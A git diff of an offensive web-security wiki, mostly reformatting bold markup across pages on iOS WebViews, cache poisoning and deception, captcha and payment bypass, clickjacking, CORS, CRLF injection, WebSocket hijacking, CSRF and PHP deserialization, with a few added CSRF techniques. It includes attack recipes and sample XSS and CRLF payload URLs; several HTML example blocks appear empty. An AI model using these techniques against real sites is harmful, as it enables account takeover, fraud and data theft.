elements: +* ****[**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** It **** should be used to provide a **generalized web viewing experience**. These WebViews can be easily spotted as they have a characteristic layout which includes the following elements: * A read-only address field with a security indicator. * An Action ("**Share**") **button**. @@ -82,7 +82,7 @@ In the compiled binary: $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` -You can also search in the source code or strings the string "http://". However, this doesn't necessary means that there is a mixed content issue. Learn more about mixed content in the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content). +You can also search in the source code or strings the string "http://". However, this doesn't necessary means that there is a mixed content issue. Learn more about mixed content in the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content). ### Dynamic Analysis @@ -160,7 +160,7 @@ WebViews can load remote content from an endpoint, but they can also load local * **UIWebView**: It can use deprecated methods [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) or [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc)to load content. * **WKWebView**: It can use the methods [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) or [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) to load local HTML files and `loadRequest:` for web content. Typically, the local files are loaded in combination with methods including, among others: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) or [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). In addition, you should also verify if the app is using the method [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Its first parameter is `URL` and contains the URL to be loaded in the WebView, its second parameter `allowingReadAccessToURL` may contain a single file or a directory. If containing a single file, that file will be available to the WebView. However, if it contains a directory, all files on that **directory will be made available to the WebView**. Therefore, it is worth inspecting this and in case it is a directory, verifying that no sensitive data can be found inside it. -If you have the source code you can search for those methods. Having the **compiled** **binary** you can also search for these methods: +If you have the source code you can search for those methods. Having the **compiled** **binary** you can also search for these methods: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" @@ -169,11 +169,11 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" ### File Access -* **UIWebView: ** +* **UIWebView:** * The `file://` scheme is always enabled. * File access from `file://` URLs is always enabled. * Universal access from `file://` URLs is always enabled. - * If you retrieve the effective origin from a `UIWebView` where `baseURL` is also set to `nil` you will see that it is** not set to "null"**, instead you'll obtain something similar to the following: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`0. This origin "applewebdata://" is similar to the "file://" origin as it **does not implement Same-Origin Policy** and allow access to local files and any web resources. + * If you retrieve the effective origin from a `UIWebView` where `baseURL` is also set to `nil` you will see that it is **not set to "null"**, instead you'll obtain something similar to the following: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`0. This origin "applewebdata://" is similar to the "file://" origin as it **does not implement Same-Origin Policy** and allow access to local files and any web resources. {% tabs %} {% tab title="exfiltrate_file" %} diff --git a/other-web-tricks.md b/other-web-tricks.md index c7b627ec..c754a898 100644 --- a/other-web-tricks.md +++ b/other-web-tricks.md @@ -2,11 +2,11 @@ ### Host header -Several times the back-end trust the H**ost header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +Several times the back-end trust the H**ost header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). ### Session booleans -Some times when you complete some verification correctly the back-end will** just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ +Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). ### Register functionality diff --git a/pentesting-web/bypass-payment-process.md b/pentesting-web/bypass-payment-process.md index 75c0cc3e..5ad2d8d9 100644 --- a/pentesting-web/bypass-payment-process.md +++ b/pentesting-web/bypass-payment-process.md @@ -1,8 +1,8 @@ # Bypass Payment Process -1. It is preferable to choose **PayPal **or **CoinPayments **as a payment method -2. Intercept all requests, you may find a parameter called _**Success**_ or _**Referrer **_or _**Callback**_ -3. If the value inside the parameter has a URL like this_** example.com/payment/MD5HASH**_ for example +1. It is preferable to choose **PayPal** or **CoinPayments** as a payment method +2. Intercept all requests, you may find a parameter called _**Success**_ or _**Referrer**_ or _**Callback**_ +3. If the value inside the parameter has a URL like this _**example.com/payment/MD5HASH**_ for example 4. **Copy it, and open it on a new window**, you will find that your payment was successful @SalahHasoneh1 diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md index 4bc2b33a..91893b8b 100644 --- a/pentesting-web/cache-deception.md +++ b/pentesting-web/cache-deception.md @@ -16,7 +16,7 @@ In order to perform a cache poisoning attack you need first to **identify ukeyed ### Identify and evaluate unkeyed inputs -You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be** changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load script from there: +You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load script from there: ```markup @@ -24,23 +24,23 @@ You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca ### Elicit a harmful response from the back-end server -With the parameter/header identified check how it is being **sanitised **and **where **is it **getting reflected **or affecting the response from the header. Can you abuse it any any way (perform a XSS or load a JS code controlled by you? perform a DoS?...) +With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it any any way (perform a XSS or load a JS code controlled by you? perform a DoS?...) ### Get the response cached -Once you have **identified **the **page **that can be abused, which **parameter**/**header **to use and **how **to **abuse **it you need to get the page cached. Depending on the resource you are trying to get in the cache this could time more or less time and some times you just will need to be trying several seconds.\ -The header**` X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ +Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it you need to get the page cached. Depending on the resource you are trying to get in the cache this could time more or less time and some times you just will need to be trying several seconds.\ +The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`\ -Another interesting header is **`Vary`** . This header is often used to **indicate additional headers** that are treated as** part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.\ +Another interesting header is **`Vary`** . This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.\ One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. -When caching a request, be **careful with the headers you use **because some of them could be **used unexpectedly **as **keyed **and the **victim will need to use that same header**. Always **test **a Cache Poisoning with **different browsers** to check if it's working. +When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. ## Examples ### Easiest example -A header like` X-Forwarded-For` is being reflected in the response unsanitized>\ +A header like `X-Forwarded-For` is being reflected in the response unsanitized>\ You can send a basic XSS payload and poison the cache so everybody that access page will be XSSed: ```markup @@ -63,9 +63,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. -### Using multiple headers to exploit web cache poisoning vulnerabilities +### Using multiple headers to exploit web cache poisoning vulnerabilities -Some time you will need to **exploit several ukneyed inputs **to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If **the **server **is **forwarding **all the **HTTP **requests **to HTTPS **and using the header `X-Forwarded-Scheme` as domain name for the redirect. You can control where the pagepointed by the redirect. +Some time you will need to **exploit several ukneyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as domain name for the redirect. You can control where the pagepointed by the redirect. ```markup GET /resources/js/tracking.js HTTP/1.1 @@ -93,13 +93,13 @@ Learn here about how to perform [Cache Poisoning attacks abusing HTTP Request Sm The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. -First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache. **Therefore, if you access w_ww.example.com/profile.php/nonexistent.js_ the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. +First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access w_ww.example.com/profile.php/nonexistent.js_ the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ In the example it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the users sensitive information**) is going to be returned and the cache server is going to save the result.\ -Then, the **attacker **can access _http://www.example.com/home.php _and see the **confidential information** of the users that accessed before. +Then, the **attacker** can access _http://www.example.com/home.php_ and see the **confidential information** of the users that accessed before. -Note that the **cache proxy** should be **configured **to **cache **files **based **on the **extension **of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css _will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file). +Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file). Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). diff --git a/pentesting-web/captcha-bypass.md b/pentesting-web/captcha-bypass.md index eebe3e9e..e7ae5aee 100644 --- a/pentesting-web/captcha-bypass.md +++ b/pentesting-web/captcha-bypass.md @@ -2,16 +2,16 @@ ## Captcha Bypass -To **automate **the **testing **of some functions of the server that allows user input it **could **be **needed **to **bypass **a **captcha **implementation. Test these things: +To **automate** the **testing** of some functions of the server that allows user input it **could** be **needed** to **bypass** a **captcha** implementation. Test these things: * **Do not send the parameter** related to the captcha. * Change from POST to GET or other HTTP Verbs * Change to JSON or from JSON * Send the **captcha parameter empty**. -* Check if the value of the captcha is **in the source code **of the page. +* Check if the value of the captcha is **in the source code** of the page. * Check if the value is **inside a cookie.** * Try to use an **old captcha value** -* Check if you can use the **same **captcha **value **several times with** the same or different sessionID.** -* If the captcha consists on a **mathematical operation **try to **automate **the **calculation.** +* Check if you can use the **same** captcha **value** several times with **the same or different sessionID.** +* If the captcha consists on a **mathematical operation** try to **automate** the **calculation.** * If the captcha consists on **read characters from an image**, check manually or with code **how many images** are being used and if only a **few images are being used, detect them by MD5.** -* Use an **OCR **([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract)). +* Use an **OCR** ([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract)). diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index ac93980a..fa0bd2e2 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -2,7 +2,7 @@ ## What is Clickjacking -Clickjacking is an attack that **tricks **a **user** into **clicking **a webpage **element **which is **invisible **or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. (From [here](https://www.imperva.com/learn/application-security/clickjacking/)). +Clickjacking is an attack that **tricks** a **user** into **clicking** a webpage **element** which is **invisible** or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. (From [here](https://www.imperva.com/learn/application-security/clickjacking/)). ### Prepopulate forms trick @@ -93,10 +93,10 @@ background: #F00; ### XSS + Clickjacking -If you have identified a **XSS attack that requires a user to click** on some element to **trigger **the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\ +If you have identified a **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\ Example:\ -_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form **to set this details is **vulnerable **to **Clickjacking **and you can **prepopulate** the **form **with GET parameters._\ -__An attacker could prepared a **Clickjacking **attack to that page **prepopulating **the **form **with the **XSS payload **and **tricking **the **user **into **Submit **the form. So, **when the form is submited** and the values are modified, the **user will execute the XSS**. +_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set this details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with GET parameters._\ +__An attacker could prepared a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submited** and the values are modified, the **user will execute the XSS**. ## How to avoid Clickjacking @@ -119,24 +119,24 @@ As frame busters are JavaScript then the browser's security settings may prevent Both the `allow-forms` and `allow-scripts` values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviours while allowing functionality within the targeted site. -Depending on the type of Clickjaking attack performed** you may also need to allow**: `allow-same-origin` and `allow-modals` or [even more](https://www.w3schools.com/tags/att_iframe_sandbox.asp). When preparing the attack just check the console of the browser, it may tell you which other behaviours you need to allow. +Depending on the type of Clickjaking attack performed **you may also need to allow**: `allow-same-origin` and `allow-modals` or [even more](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). When preparing the attack just check the console of the browser, it may tell you which other behaviours you need to allow. ### X-Frame-Options -The **`X-Frame-Options` HTTP response header** can be used to indicate whether or not a browser should be **allowed **to render a page in a `` or ` // The bot will load an URL with the payload @@ -316,7 +316,7 @@ document.querySelector('DIV').innerHTML=" +```html + +``` + +```html + ``` ### **Regexp bypasses** @@ -137,7 +183,7 @@ The `_` character (in subdomains) is not only supported in Safari, but also in C **Then, using one of those subdomains you could bypass some "common" regexps to find the main domain of a URL.** -**For more information and settings of this bypass check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **and** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)\*\*\*\* +**For more information and settings of this bypass check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **and** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) ![](<../.gitbook/assets/image (153).png>) @@ -161,13 +207,13 @@ Assuming that a user has access to sub.requester.com but not requester.com, and If the stars are aligned we may be able to use server-side cache poisoning via HTTP header injection to create a [stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored) vulnerability. -If an application **reflects** the **Origin header** without even checking it for illegal characters like **\r**, we effectively have a **HTTP header injection vulnerability against IE/Edge users as Internet Explorer and Edge view \r (0x0d) as a valid HTTP header terminator**:`GET / HTTP/1.1 `\ +If an application **reflects** the **Origin header** without even checking it for illegal characters like **\r**, we effectively have a **HTTP header injection vulnerability against IE/Edge users as Internet Explorer and Edge view \r (0x0d) as a valid HTTP header terminator**:`GET / HTTP/1.1` \ `Origin: z[0x0d]Content-Type: text/html; charset=UTF-7` Internet Explorer sees the response as: -`HTTP/1.1 200 OK `\ -`Access-Control-Allow-Origin: z `\ +`HTTP/1.1 200 OK` \ +`Access-Control-Allow-Origin: z` \ `Content-Type: text/html; charset=UTF-7` This isn't directly exploitable because there's no way for an attacker to make someone's web browser send such a malformed header, but I can **manually craft this request in Burp Suite and a server-side cache may save the response and serve it to other people**. The payload I've used will change the page's character set to **UTF-7**, which is notoriously useful for creating XSS vulnerabilities. diff --git a/pentesting-web/crlf-0d-0a.md b/pentesting-web/crlf-0d-0a.md index e3180ce3..77bf1582 100644 --- a/pentesting-web/crlf-0d-0a.md +++ b/pentesting-web/crlf-0d-0a.md @@ -86,7 +86,7 @@ And the server responses with the header: Location: http://myweb.com ``` -**Other example: (from **[**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** +**Other example: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E @@ -94,7 +94,7 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT #### In URL Path -You can send the payload **inside the URL path** to control the **response **from the server: +You can send the payload **inside the URL path** to control the **response** from the server: ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E diff --git a/pentesting-web/cross-site-websocket-hijacking-cswsh.md b/pentesting-web/cross-site-websocket-hijacking-cswsh.md index 52f056f2..f74cb521 100644 --- a/pentesting-web/cross-site-websocket-hijacking-cswsh.md +++ b/pentesting-web/cross-site-websocket-hijacking-cswsh.md @@ -2,7 +2,7 @@ ## What are WebSockets -WebSocket connections are initiated over **HTTP **and are typically **long-lived**. Messages can be sent in **either direction at any time **and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.\ +WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.\ WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data. ## How are WebSocket connections established? @@ -14,7 +14,7 @@ WebSocket connections are normally created using client-side JavaScript like the var ws = new WebSocket("wss://normal-website.com/chat"); ``` -The **`wss`** protocol establishes a WebSocket over an encrypted **TLS **connection, while the **`ws`** protocol uses an **unencrypted **connection. +The **`wss`** protocol establishes a WebSocket over an encrypted **TLS** connection, while the **`ws`** protocol uses an **unencrypted** connection. To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following: @@ -41,14 +41,14 @@ At this point, the network connection remains open and can be used to send WebSo **Note** -Several **features **of the WebSocket **handshake **messages are worth noting: +Several **features** of the WebSocket **handshake** messages are worth noting: -* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate **that this is a **WebSocket handshake**. +* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate** that this is a **WebSocket handshake**. * The **`Sec-WebSocket-Version`** request header specifies the **WebSocket protocol version** that the client wishes to use. This is typically `13`. * The **`Sec-WebSocket-Key`** request header contains a Base64-encoded **random value**, which should be randomly generated in each handshake request. * The **`Sec-WebSocket-Accept`** response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies. -The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes **(_It's not a CSRF token_). +The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** (_It's not a CSRF token_). ### Linux console @@ -66,7 +66,7 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000 ## MitM websocket connections -If you find that clients are connection to a **HTTP websocket **from your current local network you could try an [ARP Spoofing Attack ](../pentesting/pentesting-network/#arp-spoofing) to perform a MitM attack between the client and the server.\ +If you find that clients are connection to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../pentesting/pentesting-network/#arp-spoofing) to perform a MitM attack between the client and the server.\ Once the client is trying to connect to you you can use: ```bash @@ -76,7 +76,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ## Cross-site WebSocket hijacking (CSWSH) Also known as _cross-origin WebSocket hijacking_.\ -**It is a **[**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md)** on a WebSocket handshake.** +**It is a** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **on a WebSocket handshake.** It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.\ An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application. diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index ef2f0178..dd85294c 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -3,7 +3,7 @@ ## What is CSRF? **Cross-site request forger**y (also known as CSRF) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**. \ -This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute **malicious JS code, send forms or retrieve "images" to the** victims account**. +This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute** malicious JS code, send forms or retrieve "images" to the **victims account**. ### Requisites @@ -14,7 +14,7 @@ Several **counter-measures** could be in place to avoid this vulnerability. ### **Common defenses** * [**SameSite cookies**](hacking-with-cookies/#samesite): If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites. -* [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the** CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._ +* [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the **CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._ * Ask for the **password** user to authorise the action. * Resolve a **captcha** * Read the **Referrer** or **Origin** headers. If a regex is used it could be bypassed form example with: @@ -31,7 +31,7 @@ Several **counter-measures** could be in place to avoid this vulnerability. ### From POST to GET -Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check **if a **GET **is also **valid **and if when you send a GET request the **CSRF token is still being validated**. +Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**. ### Lack of token @@ -45,8 +45,8 @@ In this situation, the attacker can log in to the application using their own ac ### Method bypass -If the request is using a "**weird**" **method**, check if the **method** **override functionality **is working.\ -For example, if it's **using a PUT **method you can try to **use a POST **method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working.\ +For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ This could also works sending the **\_method parameter inside the a POST request** or using the **headers**: @@ -56,20 +56,39 @@ This could also works sending the **\_method parameter inside the a POST request ### Custom header token bypass -If the request is adding a **custom header** with a **token **to the request as **CSRF protection method**, then: +If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then: * Test the request without the **Customized Token and also header.** * Test the request with exact **same length but different token**. -### CSRF token is tied to a non-session cookie +### CSRF token is verified by a cookie -Some applications do tie the CSRF token to a cookie, but **not **to the same **cookie **that is used to track **sessions**. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together.\ -If the web site contains any **behaviour **that **allows an attacker to set a cookie in a victim's browser**, then an **attack **is possible. +In a further variation on the preceding vulnerability, some applications **duplicate each token within a cookie and a request parameter**. Or the **set a csrf cookie** and the **checks in the backend if the csrf token sent is the one related with the cookie**. -### CSRF token is simply duplicated in a cookie +When the subsequent request is validated, the application simply verifies that the **token** submitted in the **request parameter matches** the value stored by the **cookie**.\ +In this situation, the attacker can again perform a CSRF **attack if the web site contains any vulnerability what would allow him to set his CSRF cookie to the victim like a CRLF**. -In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead **duplicate each token within a cookie and a request parameter**. When the subsequent request is validated, the application simply verifies that the **token **submitted in the **request parameter matches **the value submitted in the **cookie**.\ -In this situation, the attacker can again perform a CSRF** attack if the web site contains any cookie setting functionality**. +In this case you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example: + +```html + + + + +
    + + + +
    + + + + +``` + +{% hint style="info" %} +Note that if the **csrf token is related with the session cookie this attack won't work** because you will need to set the victim your session, and therefore you will be attacking yourself. +{% endhint %} ### Content-Type change @@ -84,7 +103,7 @@ However, note that the **severs logic may vary** depending on the **Content-Type ### application/json preflight request bypass As you already know, you cannot sent a POST request with the Content-Type **`application/json`** via HTML form, and if you try to do so via **`XMLHttpRequest`** a **preflight** request is sent first.\ -However, you could try to send the JSON data using the content types **`text/plain` and `application/x-www-form-urlencoded` **just to check if the backend is using the data independently of the Content-Type.\ +However, you could try to send the JSON data using the content types **`text/plain` and `application/x-www-form-urlencoded` ** just to check if the backend is using the data independently of the Content-Type.\ You can send a form using `Content-Type: text/plain` setting **`enctype="text/plain"`** You could also try to **bypass** this restriction by using a **SWF flash file**. More more information [**read this post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). @@ -115,11 +134,32 @@ https://hahwul.com\.white_domain_com (X) https://hahwul.com/.white_domain_com (X) ``` +To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do: + +```html + + + + + +
    + + +
    + + + +``` + ## **Exploit Examples** ### **Exfiltrating CSRF Token** -If a **CSRF token** is being used as **defence **you could try to **exfiltrate it **abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability. +If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability. ### **GET using HTML tags** @@ -497,7 +537,7 @@ with open(PASS_LIST, "r") as f: login(USER, line.strip()) ``` -## Tools +## Tools * [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) diff --git a/pentesting-web/deserialization/README.md b/pentesting-web/deserialization/README.md index 517946d9..6f3c3aaf 100644 --- a/pentesting-web/deserialization/README.md +++ b/pentesting-web/deserialization/README.md @@ -7,7 +7,7 @@ In many occasions you can find some code in the server side that unserialize some object given by the user.\ In this case, you can send a malicious payload to make the server side behave unexpectedly. -**You should read: **[**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)** for learn how to attack.** +**You should read:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **for learn how to attack.** ## PHP @@ -98,11 +98,11 @@ $ser=serialize($o); ****[**PHPGCC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\ Note than in several cases you **won't be able to find a way to abuse a deserialization in the source code** of the application but you may be able to **abuse the code of external PHP extensions.**\ -****So, if you can, check the `phpinfo()` of the server and **search on the internet **(an even on the **gadgets** of **PHPGCC**) some possible gadget you could abuse. +****So, if you can, check the `phpinfo()` of the server and **search on the internet** (an even on the **gadgets** of **PHPGCC**) some possible gadget you could abuse. ### phar:// metadata deserialization -If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like_** file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_**. **You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\ +If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\ For more information read the following post: {% content-ref 